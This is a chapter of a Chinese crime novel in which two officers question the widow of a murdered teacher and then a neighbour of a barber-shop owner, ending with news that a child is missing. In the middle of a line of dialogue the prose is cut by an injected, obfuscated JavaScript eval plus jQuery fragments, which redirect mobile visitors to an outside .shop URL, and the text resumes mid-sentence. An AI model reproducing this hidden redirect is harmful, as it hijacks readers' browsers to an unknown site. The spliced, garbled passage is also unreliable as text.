敲了很久的门里面都没有动静。
“苏瑛不会是看见我们上来不想给我们开门吧,不然我敲的这么大声,里面也不至于听不见啊,更何况这老旧小区隔音差的要死。”
何家苗不排除这种可能性,毕竟苏瑛对警察的排斥一直显而易见。
她说:“再敲一遍,有礼貌点,别搞的像债主来要债似的,谁敢开门啊。”
孙光洋“哦”了一声,有节奏地轻轻敲了三声,“我有个想法。”
他清清嗓子,喊道:“苏姐,我是小孙啊,我来看房子了。”
过了片刻,屋子里头随即响起了脚步声,不一会儿,门开了。
看见何家苗的瞬间,苏瑛的脸色变了变,但很快恢复成原本的模样。
“何警官啊。”她打招呼,看了眼说要看房子的那个小伙子。
“两位警官有什么事?”苏瑛一只手搭在门把手上,半个身子堵在门口,看起来丝毫没有请两人进屋喝杯茶的打算。
在何家苗接话前,孙光洋先开了口,“不是听说您卖房嘛,我正好有这个需求,就上门看看了,不打扰吧。”
孙光洋嘴上说着怕打扰,身子已经先一步挤了进去,苏瑛依旧面无表情,对峙片刻,她侧过了身子。
何家苗紧随其后走了进去,屋子里比上次她来更加空荡。一些物品已经被归置起了,玄关的地方放了几个很大的纸盒子。
客厅里开着灯,阳台的窗帘往里拉了一半,阳光照不进来,空气里一股陈味。
孙光洋倒是演戏演到底,还假模假样地厨房看了看,卧室看了看,走到书房面前时发现被上了锁。
苏瑛解释:“里面装了我先生的遗物。”
孙光洋就转向了客厅。
“我之前就在看这附近的房子了,离我单位不远,学区还是一小,正好您挂了出来,我就来看看,听说您这价格挺便宜的?”
苏瑛张了张嘴,明眼人都看得出来这两位不速之客的肯定不是为了买房子来的,不过她也没揭穿。
“对,四十五万,”她说,“小警官你要是感兴趣的话我们直接交易,我把那一个点的中介费也让给你。”
她现在只想快点儿卖了房子。
“这个价,您可亏挺多的啊。”孙光洋讶异道。
苏瑛没再说话。
何家苗看了她一眼,比起上一次见面,苏瑛瘦了不少,也更加憔悴,楼下的两位同事说她顿顿吃素,又整日躲在屋子里的,真怕她哪天死在屋子里也没人知道。
有个周末天黑了,他们在下面张望半天也不见楼上亮起灯,而苏瑛这一整天都没有出门。两人急急忙忙忙跑上楼,一脚踹开门,苏瑛坐在黑暗中,像是索命的幽魂。
何家苗说:“你先生的案子还在侦破中,暂时没有头绪。”
苏瑛却没有什么反应,对进度不追问也不焦急,还是那一句“我相信警察的办案能力”。
敷衍,冷漠。这种感觉比何家苗第一次听见这句说辞时更甚。
何家苗:“那你卖了房子落脚处找好了没,到时候我和我同事一起来给你搬家。”
苏瑛不出意外的拒绝了,“不麻烦了,我要去的地方挺远的。”
“多远?”何家苗刨根问底。
苏瑛愣了愣,她看向面前的女警,站在水晶灯下身姿挺拔,一双锐利的眼睛很明亮。和这间屋子格格不入,没有人能爱上这间屋子,没有人能走出去。
她说:“回老家,我老家在汕城,和我先生结婚后就一直在这边生活,都有好多年没有回去了。”
苏瑛在说这话时眼神变得温柔,有何家苗以前从未见过的情绪蕴藏其中,她意识到这或许是一个时机,让苏瑛打开心房,主动开口说出她之前不愿意说的话。
何家苗说:“这么久不回去你家人一定很想你了吧。”
“或许吧,”苏瑛道,“可能也早就忘了我。”
“怎么会呢,”孙光洋嚷嚷,“你这么大一个活人,怎么可能把你忘了。”
“因为我的不懂事在惩罚我吧,当年一意孤行偏要嫁到这么远的地方,父母说出来了就别再回去,这么多年也就真没回去过。”
一时间,房间里变得安静,孙光洋意识到自己说错了话,难得变得沉默。
何家苗好像看到了几年前的自己,她说:“一定是有很深的感情吧,怎么会把房子卖掉呢,不会舍不得吗?”
苏瑛这时却没有马上接话,她好像陷入了回忆当中,或许是想起了曾经和邵一文度过的岁月,年少时家人陪伴的快乐时光,又或者是别的,何家苗耐心地等待着她再度开口,过了片刻,却见她像是回过了神,她说:“在这房子里我也是睹物思人,算了,算了。”
苏瑛又变成了那个戴着面具的苏瑛。
何家苗只好问:“这么着急变卖房子?”
苏瑛说:“对啊,我女儿在国外,准备定居了,凑了钱正好给她买房子。”
说起女儿,她眼里又升起了生机,但和之前一样的转瞬即逝。
何家苗问:“她大概什么时候回来,我们警方也向她了解了解情况。”
“没什么好了解的,”苏瑛语气比以往更加生硬,“她出去读书好多年了,有什么需要了解的问我吧。”
何家苗还想再说,苏瑛直接下了逐客令。
“念经的时间到了,我就不再招呼两位了。”
在被请出屋子时,何家苗抓紧时间问出剩下的疑问。
“邵老师经常给学生补课?”
苏瑛开门的动作顿了一下,说出的话避重就轻,“是吧,他总是喜欢当好人。”
“那你认识韦苁容吗?”
“谁?”苏瑛转过身,下意识的神情里满是疑惑。
她确实不认识,何家苗想,但韦苁容非常关注邵一文,也关注苏瑛,才会在警方之前知道苏瑛要卖房子,为什么呢,韦苁容是为了什么。
砰——
门关上的瞬间,孙光洋翻了个白眼。
“还问她,问她她也得说啊,我现在十分怀疑邵一文的死苏瑛知道什么内幕。”
“说不定呢。”何家苗小声嘀咕。
听到这一句附和,孙光洋打了鸡血似的在楼梯上上蹿下跳,“是吧是吧,我就说不可能只有我一个人觉得她有问题,看来我也是进步了啊,我是不是抓住关键线索了啊。”
何家苗点头,说:“是是是。”估计也只有你会在现在说这种话了,连这都察觉不出来的人不纯纯傻子吗。
“对了,”何家苗看了眼时间,“给局里去个电话,了解一下情况。”
“嗯?哦。”孙光洋反应过来,马上掏出了手机。
越野车停的位置在一片空地上,四周没有遮挡,何家苗把全部车窗放下散了热气,又打开空调在车子里坐了一会儿,孙光洋才挂了电话屁颠屁颠跑过来。
“说是把李卫气的要死。”孙光洋说,他知道李卫和何家苗两人不对付,自从进局里他就是跟着何家苗的,自然是向着对方,听到李卫吃瘪,一副看好戏的样子。
他转述了电话里同事说的大致情况,“反正是什么都没问出来,人不多时也就能放走了。小苗姐你说,监控里记录下的那些真的就只是巧合吗?”
大概不是,她认识的韦苁容从来不是漫无目的随意乱晃的人,韦苁容肯定想从邵一文身上获得什么,可到底是什么,她目前无从得知。
不过调查一位老师在出名前后是否产生变化这样的社会课题实在太扯淡了,利益至上的韦苁容不可能看上这类新闻能够带来的蝇头小利。
“我说什么不重要,”何家苗说,“关键监控里没有直接证据证明韦苁容故意多次跟踪邵一文,只能说明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694855|207978||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两人的行动轨迹有过重合,而时间上并不是完全一致的。”
“也对啊,”孙光洋分析,“两人最近的一次还是在丽花小吃店,一人进一人出,那个时间本就是饭点,人来人往的实在太正常了。”
何家苗没再说话,两人驱车前往下一个目的地,那位曾经找上门的女家长,住在离这三条街的地方。
在一个大型的批发市场里,这一带都是做一些小本生意的,外地人多,好多为了省钱也为了方便,租住的都是临街的铺面房上的小居室。
女人家就在她开的理发店上面。
“剪头,十元一个,加洗头,十五元,哟,这个价格真是逆天了,我好多年都没剪过这么便宜的头发了,这不高低得去理一个。”孙光洋道。
两人走进,却发现玻璃门的把手上是上了锁的,孙光洋把头往前探了探,“没人啊,今天不营业?”
何家苗打量了四周一圈,看见门边上贴着的用A4纸打印出来的电话号码,正准备拨号,旁边的铺子探出个女人。
“别打了,不开了,铺子都要转租了。”
女人指了指,何家苗这才注意到台阶上立着的圆柱朝外面的位置贴着“铺面转租”四个大字。
“姐,怎么这就不开了呀。”孙光洋自来熟,马上就过去和人唠起了磕。
女人烫了个羊毛卷,正磕着瓜子,见孙光洋过来,转身从后面的柜台抓起一把递过来,又抓了把给何家苗,身后的铺子里挂着琳琅满目的袜子。
“小芬,是叫这个吧,我哥们和我说的,这剪头发便宜,手艺还好。”
“手艺?”女人朝马路牙子吐着瓜子壳,上下打量了孙光洋一眼,目光又往何家苗身上转了圈儿。
“这是你......”
“这是我姐。”孙光洋说。
女人的眼珠子转了转,或许是确实没看出来面前的两人有什么不可言说的亲密关系,她笑了笑,“你确定你那兄弟说的是剪头发的手艺。”
孙光洋就算脑袋转的再快,一时间还真没往那个方向转去。
何家苗反应的要快一些,她说:“我弟还没谈过恋爱,你可别开他玩笑了。”
这句话一出,孙光洋反应过来了些,又见女人揶揄的笑容,他算是明白过来了,“这......”他红着耳朵挠了挠头。
女人笑的更大声了,“便宜的哪有好货,小伙子,你可别吃你兄弟的亏啊。我呀也就偷偷和你们说——”
她说着身体往前倾了倾,故作神秘压低了声音,“这老板娘以前在发廊干过。”
看女人这样子,估计是和不少人都说过这话了。
“作孽作多了,生了个女儿才会智力有问题。”
智力有问题,何家苗记得,她和孙光洋去学校调查的时候,其中一个老师也提到过,可听面前女人的语气不是一般的问题。
“她女儿读几年级了?”
“读几年,”女人说话间转大了音量,像何家苗问了什么白痴问题,“连学校都进不去,让送去读关爱学校吧,她妈还死活不乐意,出了多少钱四处去医,越医越傻,还不能说她女儿傻呢,不然这女人疯起来过来撕烂你的嘴呢。”
听上去这孩子甚至不能够正常学习,何家苗向女人确认,“她只有一个女儿吗?”
女人回:“有一个就够了,还要几个,真是索命的鬼,光这么一个就拖死一大家子了。”
这样的孩子邵一文为什么会给她补课呢,出于同情,还是另有所图?
何家苗还想进一步打听,揣在裤兜里的手机嗡嗡嗡震动了起来,来电人是家里的阿姨。
因为知道她工作的特殊性,张阿姨很少会打电话来,何家苗眼皮跳了跳,她心里莫名升起不好的预感。
她接通电话,对面立即传来焦急的声音。
“小瑜不见了!”